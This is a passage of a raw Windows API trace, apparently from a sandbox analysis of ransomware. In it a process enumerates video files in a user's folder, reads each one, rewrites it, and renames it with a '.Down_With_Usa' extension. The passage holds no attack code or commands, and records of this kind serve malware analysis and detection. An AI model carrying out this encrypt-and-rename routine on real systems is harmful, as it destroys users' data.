[0124.045] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eacf0 | out: lpFindFileData=0x2eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99ffb740, ftCreationTime.dwHighDateTime=0x1d5dbd4, ftLastAccessTime.dwLowDateTime=0xef2429f0, ftLastAccessTime.dwHighDateTime=0x1d5dd04, ftLastWriteTime.dwLowDateTime=0xef2429f0, ftLastWriteTime.dwHighDateTime=0x1d5dd04, nFileSizeHigh=0x0, nFileSizeLow=0xfdd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="wf4OS1.avi", cAlternateFileName="")) returned 1
[0124.045] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eacf0 | out: lpFindFileData=0x2eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99ffb740, ftCreationTime.dwHighDateTime=0x1d5dbd4, ftLastAccessTime.dwLowDateTime=0xef2429f0, ftLastAccessTime.dwHighDateTime=0x1d5dd04, ftLastWriteTime.dwLowDateTime=0xef2429f0, ftLastWriteTime.dwHighDateTime=0x1d5dd04, nFileSizeHigh=0x0, nFileSizeLow=0xfdd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="wf4OS1.avi", cAlternateFileName="")) returned 0
[0124.046] FindClose (in: hFindFile=0x1ac18610 | out: hFindFile=0x1ac18610) returned 1
[0124.046] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eaf50) returned 1
[0124.046] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eaf10) returned 1
[0124.046] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\8AvDXtUFYM-T.avi", nBufferLength=0x105, lpBuffer=0x2ea830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\8AvDXtUFYM-T.avi", lpFilePart=0x0) returned 0x6b
[0124.046] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ead10) returned 1
[0124.046] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\8AvDXtUFYM-T.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\ntyasypfy_2ur5d0t1b\\klpchkoij7ge\\8avdxtufym-t.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0124.047] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eac80) returned 1
[0124.047] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2eaea8 | out: lpFileSizeHigh=0x2eaea8*=0x0) returned 0x2a88
[0124.047] ReadFile (in: hFile=0x3a8, lpBuffer=0x275e220, nNumberOfBytesToRead=0x2a88, lpNumberOfBytesRead=0x2eadd8, lpOverlapped=0x0 | out: lpBuffer=0x275e220*, lpNumberOfBytesRead=0x2eadd8*=0x2a88, lpOverlapped=0x0) returned 1
[0124.077] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\8AvDXtUFYM-T.avi", nBufferLength=0x105, lpBuffer=0x2ea840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\8AvDXtUFYM-T.avi", lpFilePart=0x0) returned 0x6b
[0124.078] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ead20) returned 1
[0124.078] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\8AvDXtUFYM-T.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\ntyasypfy_2ur5d0t1b\\klpchkoij7ge\\8avdxtufym-t.avi"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0124.079] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eac90) returned 1
[0124.081] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\8AvDXtUFYM-T.avi", nBufferLength=0x105, lpBuffer=0x2ea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\8AvDXtUFYM-T.avi", lpFilePart=0x0) returned 0x6b
[0124.081] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\8AvDXtUFYM-T.avi.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2ea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\8AvDXtUFYM-T.avi.Down_With_Usa", lpFilePart=0x0) returned 0x79
[0124.081] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eae20) returned 1
[0124.081] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\8AvDXtUFYM-T.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\ntyasypfy_2ur5d0t1b\\klpchkoij7ge\\8avdxtufym-t.avi"), fInfoLevelId=0x0, lpFileInformation=0x2eaf00 | out: lpFileInformation=0x2eaf00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77526950, ftCreationTime.dwHighDateTime=0x1d5e3d0, ftLastAccessTime.dwLowDateTime=0x347e29b0, ftLastAccessTime.dwHighDateTime=0x1d5da2b, ftLastWriteTime.dwLowDateTime=0x266a5880, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x2a90)) returned 1
[0124.081] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eade0) returned 1
[0124.081] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\8AvDXtUFYM-T.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\ntyasypfy_2ur5d0t1b\\klpchkoij7ge\\8avdxtufym-t.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\8AvDXtUFYM-T.avi.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\ntyasypfy_2ur5d0t1b\\klpchkoij7ge\\8avdxtufym-t.avi.down_with_usa")) returned 1
[0124.082] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\CA2kx.mp4", nBufferLength=0x105, lpBuffer=0x2ea830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\CA2kx.mp4", lpFilePart=0x0) returned 0x64
[0124.082] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ead10) returned 1
[0124.082] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\CA2kx.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\ntyasypfy_2ur5d0t1b\\klpchkoij7ge\\ca2kx.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0124.082] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eac80) returned 1
[0124.082] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2eaea8 | out: lpFileSizeHigh=0x2eaea8*=0x0) returned 0xbbe4
[0124.082] ReadFile (in: hFile=0x3a8, lpBuffer=0x265d110, nNumberOfBytesToRead=0xbbe4, lpNumberOfBytesRead=0x2eadd8, lpOverlapped=0x0 | out: lpBuffer=0x265d110*, lpNumberOfBytesRead=0x2eadd8*=0xbbe4, lpOverlapped=0x0) returned 1
[0124.111] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\CA2kx.mp4", nBufferLength=0x105, lpBuffer=0x2ea840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\CA2kx.mp4", lpFilePart=0x0) returned 0x64
[0124.111] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ead20) returned 1
[0124.111] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\CA2kx.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\ntyasypfy_2ur5d0t1b\\klpchkoij7ge\\ca2kx.mp4"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0124.113] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eac90) returned 1
[0124.118] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\CA2kx.mp4", nBufferLength=0x105, lpBuffer=0x2ea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\CA2kx.mp4", lpFilePart=0x0) returned 0x64
[0124.118] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\CA2kx.mp4.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2ea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\CA2kx.mp4.Down_With_Usa", lpFilePart=0x0) returned 0x72
[0124.118] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eae20) returned 1
[0124.118] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\CA2kx.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\ntyasypfy_2ur5d0t1b\\klpchkoij7ge\\ca2kx.mp4"), fInfoLevelId=0x0, lpFileInformation=0x2eaf00 | out: lpFileInformation=0x2eaf00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d6e3920, ftCreationTime.dwHighDateTime=0x1d5d9f6, ftLastAccessTime.dwLowDateTime=0xeb2d8170, ftLastAccessTime.dwHighDateTime=0x1d5dd5e, ftLastWriteTime.dwLowDateTime=0x266f1b40, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xbbf0)) returned 1
[0124.119] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eade0) returned 1
[0124.119] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\CA2kx.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\ntyasypfy_2ur5d0t1b\\klpchkoij7ge\\ca2kx.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\CA2kx.mp4.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\ntyasypfy_2ur5d0t1b\\klpchkoij7ge\\ca2kx.mp4.down_with_usa")) returned 1
[0124.120] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\hgNK2IfG2wp2s.swf", nBufferLength=0x105, lpBuffer=0x2ea830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\hgNK2IfG2wp2s.swf", lpFilePart=0x0) returned 0x6c
[0124.120] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ead10) returned 1
[0124.120] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\hgNK2IfG2wp2s.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\ntyasypfy_2ur5d0t1b\\klpchkoij7ge\\hgnk2ifg2wp2s.swf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0124.120] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eac80) returned 1
[0124.120] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2eaea8 | out: lpFileSizeHigh=0x2eaea8*=0x0) returned 0x10078
[0124.121] ReadFile (in: hFile=0x3a8, lpBuffer=0x2778108, nNumberOfBytesToRead=0x10078, lpNumberOfBytesRead=0x2eadd8, lpOverlapped=0x0 | out: lpBuffer=0x2778108*, lpNumberOfBytesRead=0x2eadd8*=0x10078, lpOverlapped=0x0) returned 1
[0124.157] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\hgNK2IfG2wp2s.swf", nBufferLength=0x105, lpBuffer=0x2ea840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\hgNK2IfG2wp2s.swf", lpFilePart=0x0) returned 0x6c
[0124.157] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ead20) returned 1
[0124.157] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\hgNK2IfG2wp2s.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\ntyasypfy_2ur5d0t1b\\klpchkoij7ge\\hgnk2ifg2wp2s.swf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0124.160] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eac90) returned 1
[0124.164] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\hgNK2IfG2wp2s.swf", nBufferLength=0x105, lpBuffer=0x2ea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\hgNK2IfG2wp2s.swf", lpFilePart=0x0) returned 0x6c
[0124.164] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\hgNK2IfG2wp2s.swf.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2ea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\hgNK2IfG2wp2s.swf.Down_With_Usa", lpFilePart=0x0) returned 0x7a
[0124.164] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eae20) returned 1
[0124.165] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\hgNK2IfG2wp2s.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\ntyasypfy_2ur5d0t1b\\klpchkoij7ge\\hgnk2ifg2wp2s.swf"), fInfoLevelId=0x0, lpFileInformation=0x2eaf00 | out: lpFileInformation=0x2eaf00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4035b8f0, ftCreationTime.dwHighDateTime=0x1d5e637, ftLastAccessTime.dwLowDateTime=0x3e71d40, ftLastAccessTime.dwHighDateTime=0x1d5d91b, ftLastWriteTime.dwLowDateTime=0x26763f60, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x10080)) returned 1
[0124.165] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eade0) returned 1
[0124.165] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\hgNK2IfG2wp2s.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\ntyasypfy_2ur5d0t1b\\klpchkoij7ge\\hgnk2ifg2wp2s.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\hgNK2IfG2wp2s.swf.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\ntyasypfy_2ur5d0t1b\\klpchkoij7ge\\hgnk2ifg2wp2s.swf.down_with_usa")) returned 1
[0124.166] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\qGV1sDKt.avi", nBufferLength=0x105, lpBuffer=0x2ea830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\qGV1sDKt.avi", lpFilePart=0x0) returned 0x67
[0124.166] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ead10) returned 1
[0124.166] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\qGV1sDKt.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\ntyasypfy_2ur5d0t1b\\klpchkoij7ge\\qgv1sdkt.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0124.166] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eac80) returned 1
[0124.166] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2eaea8 | out: lpFileSizeHigh=0x2eaea8*=0x0) returned 0x15cf4
[0124.167] ReadFile (in: hFile=0x3a8, lpBuffer=0x15854598, nNumberOfBytesToRead=0x15cf4, lpNumberOfBytesRead=0x2eadd8, lpOverlapped=0x0 | out: lpBuffer=0x15854598*, lpNumberOfBytesRead=0x2eadd8*=0x15cf4, lpOverlapped=0x0) returned 1
[0124.209] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\qGV1sDKt.avi", nBufferLength=0x105, lpBuffer=0x2ea840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\qGV1sDKt.avi", lpFilePart=0x0) returned 0x67
[0124.209] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ead20) returned 1
[0124.210] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\qGV1sDKt.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\ntyasypfy_2ur5d0t1b\\klpchkoij7ge\\qgv1sdkt.avi"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0124.212] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eac90) returned 1
[0124.217] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\qGV1sDKt.avi", nBufferLength=0x105, lpBuffer=0x2ea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\qGV1sDKt.avi", lpFilePart=0x0) returned 0x67
[0124.217] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\qGV1sDKt.avi.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2ea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\qGV1sDKt.avi.Down_With_Usa", lpFilePart=0x0) returned 0x75
[0124.217] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eae20) returned 1
[0124.217] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\qGV1sDKt.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\ntyasypfy_2ur5d0t1b\\klpchkoij7ge\\qgv1sdkt.avi"), fInfoLevelId=0x0, lpFileInformation=0x2eaf00 | out: lpFileInformation=0x2eaf00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee99b40, ftCreationTime.dwHighDateTime=0x1d5dc77, ftLastAccessTime.dwLowDateTime=0x825c2880, ftLastAccessTime.dwHighDateTime=0x1d5dfda, ftLastWriteTime.dwLowDateTime=0x267fc4e0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x15d00)) returned 1
[0124.217] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eade0) returned 1
[0124.217] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\qGV1sDKt.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\ntyasypfy_2ur5d0t1b\\klpchkoij7ge\\qgv1sdkt.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\qGV1sDKt.avi.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\ntyasypfy_2ur5d0t1b\\klpchkoij7ge\\qgv1sdkt.avi.down_with_usa")) returned 1
[0124.219] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\qIFgNEtuwM.mp4", nBufferLength=0x105, lpBuffer=0x2ea830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\qIFgNEtuwM.mp4", lpFilePart=0x0) returned 0x69
[0124.219] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ead10) returned 1
[0124.219] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\qIFgNEtuwM.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\ntyasypfy_2ur5d0t1b\\klpchkoij7ge\\qifgnetuwm.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0124.219] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eac80) returned 1
[0124.219] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2eaea8 | out: lpFileSizeHigh=0x2eaea8*=0x0) returned 0x84e4
[0124.219] ReadFile (in: hFile=0x3a8, lpBuffer=0x279d658, nNumberOfBytesToRead=0x84e4, lpNumberOfBytesRead=0x2eadd8, lpOverlapped=0x0 | out: lpBuffer=0x279d658*, lpNumberOfBytesRead=0x2eadd8*=0x84e4, lpOverlapped=0x0) returned 1
